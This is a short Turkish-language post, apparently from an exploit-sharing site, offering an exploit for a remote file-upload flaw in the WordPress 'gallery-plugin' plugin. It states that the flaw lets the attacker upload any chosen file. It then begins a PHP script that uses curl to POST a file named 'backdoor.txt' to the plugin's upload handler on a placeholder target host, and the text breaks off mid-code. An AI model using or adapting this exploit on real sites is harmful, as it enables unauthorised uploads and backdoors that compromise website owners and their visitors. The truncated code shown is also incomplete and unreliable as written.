wordpress gallery-plugin exploit

Wordpress gallery-plugin adlı eklentide olan bir remote upload açığı sayesinde istediğimiz dosyayı yükletebiliyoruz <?php $uploadfile="backdoor.txt"; $ch = curl_init("http://hedef.com/wp-content/plugins/gallery-plugin/upload/php.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch...